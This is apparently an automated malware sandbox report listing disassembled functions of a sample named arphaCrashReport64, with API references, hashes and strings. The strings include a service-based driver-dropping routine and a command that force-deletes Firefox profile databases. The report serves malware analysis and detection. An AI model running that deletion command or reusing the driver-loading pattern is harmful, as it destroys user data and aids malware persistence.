Function 0000021497F383F4 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 0000021497F3840A
GetVersion.KERNEL32 ref: 0000021497F3841C
HeapSetInformation.KERNEL32 ref: 0000021497F3843A

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction ID: 6e8fb4c28b2c605fc057d81da3d07b74287dbfd28ec412bbe42e2a11ec7cbe4f
Opcode Fuzzy Hash: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction Fuzzy Hash: A8E0D874251A8083FBC4BB24E82EBD72251FBA8382F800914E90E5379CDF3CC1468F08

Function 00007FF8A8D2497C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF8A8D249AB

Strings

, xrefs: 00007FF8A8D249D4

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: a25030c6f73ece0fe48594fa4548755820865811698b87b855136faf09de3d18
Instruction ID: 13cf52725830307fe0265a3d3b889403900ad8e26995d6409a602bd932069842
Opcode Fuzzy Hash: a25030c6f73ece0fe48594fa4548755820865811698b87b855136faf09de3d18
Instruction Fuzzy Hash: 8E518F32A1D2C196E721CF25E0403AEBBA1F749784F544235DBED43A85EB7DD44ACB18

Function 0000021497F22900 Relevance: 3.1, APIs: 2, Instructions: 65networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 0000021497F22960
send.WS2_32 ref: 0000021497F2299F

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: a7a69a6c44eae31ac87e71d4d49eb2ed0d436db1612ea634298a4d147ca241f4
Instruction ID: 9f4aa9b1574bcbb3f9bb5b9266288a568fe29ed6d979df1be28425a0e8e6575b
Opcode Fuzzy Hash: a7a69a6c44eae31ac87e71d4d49eb2ed0d436db1612ea634298a4d147ca241f4
Instruction Fuzzy Hash: 5F216A3270068141FB306B16A858BAB7694FBA9BD0F651631DF5C93FD9EA74C482AB00

Function 0000021497F23430 Relevance: 3.1, APIs: 2, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32 ref: 0000021497F2346F
GetComputerNameA.KERNEL32 ref: 0000021497F234C5

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerCurrentNameProfile
String ID:
API String ID: 3082751485-0
Opcode ID: e2a9adb5299dfcb7f963bcc1a221c1a79a9d13bacd767ea76fef39f5dd3caca1
Instruction ID: 9f2f990a7109b5e1bfe0971880161a2d368dfc674693bce43bb2bad659e9e0a4
Opcode Fuzzy Hash: e2a9adb5299dfcb7f963bcc1a221c1a79a9d13bacd767ea76fef39f5dd3caca1
Instruction Fuzzy Hash: 882169322186C085EA70DF24E41879BB7A2F7947A5F405716EAAD43AC9DB3CC108CB11

Function 00007FF8A8D251F0 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF8A8D25213

Part of subcall function 00007FF8A8D22464: DecodePointer.KERNEL32 ref: 00007FF8A8D2248B

RtlAllocateHeap.NTDLL(?,?,?,?,00000000,00007FF8A8D22D03,?,?,?,00007FF8A8D229F3,?,?,?,00007FF8A8D2253D), ref: 00007FF8A8D2525C

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateDecodeHeapPointer_errno
String ID:
API String ID: 15861996-0
Opcode ID: bb8eed43e8797b31d408fed5b93d30ae15ba08089fb6024745d6490033012783
Instruction ID: e6b5085726445ad34082a1a8ee5366939e4f1c5d0e95c2995b5d1d601d1a7b15
Opcode Fuzzy Hash: bb8eed43e8797b31d408fed5b93d30ae15ba08089fb6024745d6490033012783
Instruction Fuzzy Hash: 8F119831B0F242A1FF955B65D605B7962B1EF957E4F488A30DA3D076C4FF3C94098628

Function 0000021497F219A0 Relevance: 3.1, APIs: 2, Instructions: 51networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 0000021497F21A19
CreateEventA.KERNEL32 ref: 0000021497F21A2A

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CreateEventStartup
String ID:
API String ID: 1546077022-0
Opcode ID: 2818f70f87d22685dae2d894ab73b2053dca43e1e2db7108a8644fd358597901
Instruction ID: a5cae78e460d2decbf3e0874fcfcf89ec2d33267b614f16bbe2826aa490f8e89
Opcode Fuzzy Hash: 2818f70f87d22685dae2d894ab73b2053dca43e1e2db7108a8644fd358597901
Instruction Fuzzy Hash: B6210E32201B8086D7119F29F554799B3E9F768B98F24462ACB9C477A4DF35C056CB40

Function 00007FF8A8D23B20 Relevance: 3.0, APIs: 2, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(?,?,?,?,00007FF8A8D218F5), ref: 00007FF8A8D23B32
HeapSetInformation.KERNEL32 ref: 00007FF8A8D23B5C

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: Heap$CreateInformation
String ID:
API String ID: 1774340351-0
Opcode ID: 308323cf0e965bc60dd3766130036a00e0fb6afe90f427625239b759be2b3a8c
Instruction ID: 27977740315ec7164af8bbfd1c85b699f1b8cc7200fc26a001aa794e83952f69
Opcode Fuzzy Hash: 308323cf0e965bc60dd3766130036a00e0fb6afe90f427625239b759be2b3a8c
Instruction Fuzzy Hash: 59E04FB5A27B8192E799AF26E8057656290FB88780F805039E94D03B94EF3CD0498A14

Function 0000021497F21370 Relevance: 2.6, APIs: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 0000021497F213E1
VirtualFree.KERNELBASE ref: 0000021497F21415

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: ec9b96369609cc7b76882b531fbdd83dd41e6b39cdc7d89fc169277994d9546c
Instruction ID: ddf28bf355b4bebad7170ff21fc76e73bcd7ae0d0736fc6c7bffce93eb503c8b
Opcode Fuzzy Hash: ec9b96369609cc7b76882b531fbdd83dd41e6b39cdc7d89fc169277994d9546c
Instruction Fuzzy Hash: 7721C532714A4087DB44DB2AE55475A63A1F798BC0F148921EB4DA3B1CEF34D8D28F44

Function 0000021497F212B0 Relevance: 2.6, APIs: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 0000021497F21303
VirtualFree.KERNEL32 ref: 0000021497F2133C

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 90bdbeb053a759dfb6172123d893b3ef7054f36a6b9beffb9720844b7b812231
Instruction ID: 357916af9a6b08ae397b60c76097fe167ba222b7a4bf81ea2b27a63d67562d5a
Opcode Fuzzy Hash: 90bdbeb053a759dfb6172123d893b3ef7054f36a6b9beffb9720844b7b812231
Instruction Fuzzy Hash: 2F112631314B8087EB18DF35A554A4AB3A1E7A4BC5F188524EA4E9375CEB38C891CF40

Function 00007FF8A8D22C64 Relevance: 2.5, APIs: 2, Instructions: 30sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 00007FF8A8D22C83

Part of subcall function 00007FF8A8D21D34: _FF_MSGBANNER.LIBCMT ref: 00007FF8A8D21D64
Part of subcall function 00007FF8A8D21D34: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF8A8D22C88,?,?,00000000,00007FF8A8D243D5,?,?,?,00007FF8A8D2447F), ref: 00007FF8A8D21D89
Part of subcall function 00007FF8A8D21D34: _errno.LIBCMT ref: 00007FF8A8D21DAD
Part of subcall function 00007FF8A8D21D34: _errno.LIBCMT ref: 00007FF8A8D21DB8

Sleep.KERNEL32(?,?,00000000,00007FF8A8D243D5,?,?,?,00007FF8A8D2447F), ref: 00007FF8A8D22C9A

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$AllocateHeapSleepmalloc
String ID:
API String ID: 4275769124-0
Opcode ID: 2024ef6d46135b65a82486e01a40526ee360ed3e040809e9ef4306df607f230c
Instruction ID: 9fe371aa7d63fae53dda4b86750d4d2ef3c0bec708823bf04ad955eb80ad113e
Opcode Fuzzy Hash: 2024ef6d46135b65a82486e01a40526ee360ed3e040809e9ef4306df607f230c
Instruction Fuzzy Hash: 9CF0F632A0A786A2EB10AF12A44003DB261FB84BD0F544334FA7D03794EF3CE8958B58

Function 0000021496230BA8 Relevance: 1.6, APIs: 1, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL ref: 0000021496230C12

Memory Dump Source

Source File: 00000003.00000002.3890167290.0000021496230000.00000040.00000020.00020000.00000000.sdmp, Offset: 0000021496230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21496230000_arphaCrashReport64.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 710fda0f1d38325bf3d824d45633713b5dbd693df1a717c25d9454e584784294
Instruction ID: db538d0b02336f79718b18460b2d39395dd9f0a908a9c17f13886437647db1e9
Opcode Fuzzy Hash: 710fda0f1d38325bf3d824d45633713b5dbd693df1a717c25d9454e584784294
Instruction Fuzzy Hash: 4F21C63051AA881FE782F778844AADFB7D2EFB8750F1484DE944AC7267D924C806C792

Function 0000021496230BED Relevance: 1.6, APIs: 1, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL ref: 0000021496230C12

Memory Dump Source

Source File: 00000003.00000002.3890167290.0000021496230000.00000040.00000020.00020000.00000000.sdmp, Offset: 0000021496230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21496230000_arphaCrashReport64.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: cb941176d314d50994f12e4c04a9abb31b0d2322f26f6db4555a5237af00888c
Instruction ID: 4db2e9c9dd68baa1d945cdafe7bc32bb8f31972a795a1dd0fefa67f2623456e5
Opcode Fuzzy Hash: cb941176d314d50994f12e4c04a9abb31b0d2322f26f6db4555a5237af00888c
Instruction Fuzzy Hash: 65018431614A484FEB91F7798449ADFB2D6FFFC341F50946A540AC325ADD34C901C782

Function 00007FF60017ADE4 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF60017AE0F

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: daeb9473d2b32cf83c9461a5b039516655241b847a81d08c9e22b3451582354c
Instruction ID: b54edd46044ea4d17532c5722031557543b73ef8ab5000c2ef53c067b42073c2
Opcode Fuzzy Hash: daeb9473d2b32cf83c9461a5b039516655241b847a81d08c9e22b3451582354c
Instruction Fuzzy Hash: 4511363290C642A6F2109B94E44056DB7B5FF84780FA504B4E69DC77AADF3CF851CB41

Function 00007FF600178EEC Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF6001775C1,?,?,000039A96F468CAB,00007FF600172559,?,?,?,?,00007FF6001777A2,?,?,00000000), ref: 00007FF600178F41

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 075ea7e4c2bf351c61879a8d56ac98c767fd99fc79aa1e4fcee4003ad8d91f2d
Instruction ID: 98561cc649fc0d9e79c364210c63deb002884482468aabe978caf9b179cb3c91
Opcode Fuzzy Hash: 075ea7e4c2bf351c61879a8d56ac98c767fd99fc79aa1e4fcee4003ad8d91f2d
Instruction Fuzzy Hash: E2F09010B4960361FF6857E6D8183B512B25F88B80F3C04B1C90EC67CDEE2CE4824220

Function 00007FF8A8D22CD0 Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D251F0: _errno.LIBCMT ref: 00007FF8A8D25213

Sleep.KERNEL32(?,?,?,00007FF8A8D229F3,?,?,?,00007FF8A8D2253D,?,?,?,?,00007FF8A8D21ECD), ref: 00007FF8A8D22D15

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: Sleep_errno
String ID:
API String ID: 1068366078-0
Opcode ID: dfe64978b2f56b0793aca80552e9b258e9d4d57e910bdb29ae3b2a8446373223
Instruction ID: b4d9dffb9db956aa96a3c04cbefff846c85dd6baeca6b513c59b9f28b52abced
Opcode Fuzzy Hash: dfe64978b2f56b0793aca80552e9b258e9d4d57e910bdb29ae3b2a8446373223
Instruction Fuzzy Hash: 0701D632A26B8195EB549F169840029B7A1FB8CFD0F591231EE6E03B94DF3CE955CB48

Non-executed Functions

Function 00007FF60016C1C0 Relevance: 49.4, APIs: 27, Strings: 1, Instructions: 359COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60016C737

Part of subcall function 00007FF60016BF80: GetCurrentThreadId.KERNEL32 ref: 00007FF60016BFA1

Strings

open, xrefs: 00007FF60016C48B

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: CurrentThread_invalid_parameter_noinfo_noreturn
String ID: open
API String ID: 361653118-2758837156
Opcode ID: 8711378cc4d88c9866921eb3efb112469b15824140c32bd2a7fd2f1077ccde59
Instruction ID: f4e7a4c9d48f374fc80169428cd507cbf04e1bfd644f90ca3671af97b6aeab04
Opcode Fuzzy Hash: 8711378cc4d88c9866921eb3efb112469b15824140c32bd2a7fd2f1077ccde59
Instruction Fuzzy Hash: F6F1A136B09B4695EB108FA5D8542BC33A1FB88B88F644176DE4E87BA8CF7CE545C350

Function 0000021497F2F8D0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 132servicefilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F338A4: GetSystemTimeAsFileTime.KERNEL32 ref: 0000021497F338B2

Part of subcall function 0000021497F34238: _getptd.LIBCMT ref: 0000021497F34240

rand.LIBCMT ref: 0000021497F2F930

Part of subcall function 0000021497F34250: _getptd.LIBCMT ref: 0000021497F34254

OpenSCManagerA.ADVAPI32 ref: 0000021497F2F972
CreateFileA.KERNEL32 ref: 0000021497F2F9B6
CloseHandle.KERNEL32 ref: 0000021497F2F9D1
CloseServiceHandle.ADVAPI32 ref: 0000021497F2F9DA
CreateServiceA.ADVAPI32 ref: 0000021497F2FA3A
WriteFile.KERNEL32 ref: 0000021497F2FA62
DeleteService.ADVAPI32 ref: 0000021497F2FA6F
CloseServiceHandle.ADVAPI32 ref: 0000021497F2FA78

Part of subcall function 0000021497F322C0: GetComputerNameA.KERNEL32 ref: 0000021497F3230D
Part of subcall function 0000021497F322C0: lstrcpy.KERNEL32 ref: 0000021497F32323
Part of subcall function 0000021497F322C0: wsprintfA.USER32 ref: 0000021497F32352

CloseHandle.KERNEL32 ref: 0000021497F2FA81
CloseServiceHandle.ADVAPI32 ref: 0000021497F2FA8A
CloseHandle.KERNEL32 ref: 0000021497F2FA95
StartServiceA.ADVAPI32 ref: 0000021497F2FAA3
Sleep.KERNEL32 ref: 0000021497F2FAAE
DeleteService.ADVAPI32 ref: 0000021497F2FAC0
CloseServiceHandle.ADVAPI32 ref: 0000021497F2FAC9
CloseServiceHandle.ADVAPI32 ref: 0000021497F2FAD2
DeleteFileA.KERNEL32 ref: 0000021497F2FAE0

Strings

driver, xrefs: 0000021497F2FAE8
C:\ProgramData\girl.jpg, xrefs: 0000021497F2F8F1

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Service$CloseHandle$File$Delete$CreateTime_getptd$ComputerManagerNameOpenSleepStartSystemWritelstrcpyrandwsprintf
String ID: C:\ProgramData\girl.jpg$driver
API String ID: 2345241111-1437884672
Opcode ID: 9d3927efc2e86f327e81318a06defe3ff0f5a5e80a7fa5aa5fc8fe9fe512994d
Instruction ID: ae5a63bdc5dd00301163145298aefea4aae502d0cc3ad2fd2fc0e106f9f447b7
Opcode Fuzzy Hash: 9d3927efc2e86f327e81318a06defe3ff0f5a5e80a7fa5aa5fc8fe9fe512994d
Instruction Fuzzy Hash: 5C518E31214B4086EB64FB25B82CBAB77A0F7A9BD6F440515DA8E57B98DF3CC4058F04

Function 00007FF6001692B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 228windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF6001692F2

Part of subcall function 00007FF600168080: GetWindowLongW.USER32 ref: 00007FF6001680B2
Part of subcall function 00007FF600168080: GetParent.USER32 ref: 00007FF6001680C8
Part of subcall function 00007FF600168080: GetWindowRect.USER32 ref: 00007FF6001680E6
Part of subcall function 00007FF600168080: GetWindowLongW.USER32 ref: 00007FF600168103
Part of subcall function 00007FF600168080: MonitorFromWindow.USER32 ref: 00007FF60016811F
Part of subcall function 00007FF600168080: GetMonitorInfoW.USER32 ref: 00007FF60016813A
Part of subcall function 00007FF600168080: SetWindowPos.USER32 ref: 00007FF600168259

SetWindowTextW.USER32 ref: 00007FF600169318
GetDlgItem.USER32 ref: 00007FF600169327
SendMessageW.USER32 ref: 00007FF600169342
SendMessageW.USER32 ref: 00007FF600169388
SendMessageW.USER32 ref: 00007FF6001693A9
SendMessageW.USER32 ref: 00007FF6001693C1
SendMessageW.USER32 ref: 00007FF600169409
SendMessageW.USER32 ref: 00007FF60016942D
SendMessageW.USER32 ref: 00007FF600169446
GetDlgItem.USER32 ref: 00007FF600169455
CreateFontW.GDI32 ref: 00007FF6001694A9
SendMessageW.USER32 ref: 00007FF6001694BE
SendMessageW.USER32 ref: 00007FF600169586
GetFileAttributesExW.KERNEL32 ref: 00007FF60016959C
SendMessageW.USER32 ref: 00007FF600169613

Strings

Courier, xrefs: 00007FF60016945F

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: MessageSend$Window$ItemLongMonitorParent$AttributesCreateFileFontFromInfoRectText
String ID: Courier
API String ID: 4098548037-11433440
Opcode ID: 51be89ca81b4b296aea4ebf967efc803dc8e68e722e8b27dfb8c421c1880ac70
Instruction ID: 7fce89b418bc542bbbc917119a52e127ae792f760c5848f0e80475041a700799
Opcode Fuzzy Hash: 51be89ca81b4b296aea4ebf967efc803dc8e68e722e8b27dfb8c421c1880ac70
Instruction Fuzzy Hash: 09B1E072A14B8096E301CF65D8046AD37B4FB88B88F219275EE4C57B6ADF79E685C700

Function 0000021497F384A8 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 200COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497F384D8
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F384E3
_errno.LIBCMT ref: 0000021497F38508
_errno.LIBCMT ref: 0000021497F38510
_errno.LIBCMT ref: 0000021497F38534
_errno.LIBCMT ref: 0000021497F3866F

Strings

del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db, xrefs: 0000021497F384B3
PATH, xrefs: 0000021497F38558

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: PATH$del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db
API String ID: 2819658684-2861927837
Opcode ID: 5d7ebd22daaf74afd74c40796b9d976dd27c09a5fda1db1556a481787db0bd0b
Instruction ID: 73eab0238c4069c997f2a422ae82d8b366d8fa4da8398ed8b89580ff59224cf9
Opcode Fuzzy Hash: 5d7ebd22daaf74afd74c40796b9d976dd27c09a5fda1db1556a481787db0bd0b
Instruction Fuzzy Hash: A971B17121520442FE64BA21957DFEB26826BA17D3F044D21DE2D27BDEDA3CC8858F24

Function 0000021497F2DA90 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 125synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32 ref: 0000021497F2DACD
lstrcat.KERNEL32 ref: 0000021497F2DADD
CreateMutexA.KERNEL32 ref: 0000021497F2DAEE
WaitForSingleObject.KERNEL32 ref: 0000021497F2DB06
CreateFileA.KERNEL32 ref: 0000021497F2DB34
GetFileSize.KERNEL32 ref: 0000021497F2DB42
CloseHandle.KERNEL32 ref: 0000021497F2DB4D
DeleteFileA.KERNEL32 ref: 0000021497F2DB5E
ReleaseMutex.KERNEL32 ref: 0000021497F2DB70
